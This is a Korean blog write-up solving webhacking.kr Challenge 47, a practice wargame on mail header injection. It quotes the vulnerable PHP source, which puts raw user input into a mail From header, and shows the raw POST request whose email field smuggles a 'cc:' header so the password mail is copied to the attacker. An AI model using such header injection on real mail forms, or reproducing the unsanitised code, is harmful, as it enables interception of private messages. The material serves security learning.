늘모자란, 개발 :: [webhacking.kr] Challenge 47

늘모자란, 개발



메일 헤더 인젝션이라고 한다. index.phps도 제공되지 함께 보자

<html>
<head>
<title>Challenge 47</title>
</head>
<body>
Mail Header injection
<pre>
<form method=post action=index.php>
<font size=2>Mail</font> : <input type=text name=email size=50 style=border:0 maxlength=50><input type=submit>
</form>

<?

if($_POST[email])
{

$pass="????";

$header="From: $_POST[email]\r\n";

mail("admin@webhacking.kr","readme","password is $pass",$header);


echo("<script>alert('Done');</script><meta http-equiv=refresh content=1>");
}
?>

</pre>

<!-- index.phps -->

</body>
</html>


별다른 필터링도 없다. 메일 헤더 인젝션이라니까, admin@webhacking.kr로 가는걸 가로 채서 나한테 보내야될 것 같다.
mail header injection으로 많이 찾아봤는데 Reply-To도 있고 Bcc도 있고 Cc도 있는데 그냥 간단하게 cc로 해보도록 한다.
raw를 조작해 요렇게 보내준다. (urlencode하기 귀찮아 그냥 바로 넣었다)

POST http://webhacking.kr/challenge/bonus/bonus-11/index.php HTTP/1.1
Host: webhacking.kr
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://webhacking.kr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://webhacking.kr/challenge/bonus/bonus-11/index.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=; kk=1

email=@naver.com
cc: @naver.com


뭐 이런 모양이다. 패스워드가 화면에 표시되고 문제 끝.
2016/04/02 14:18 2016/04/02 14:18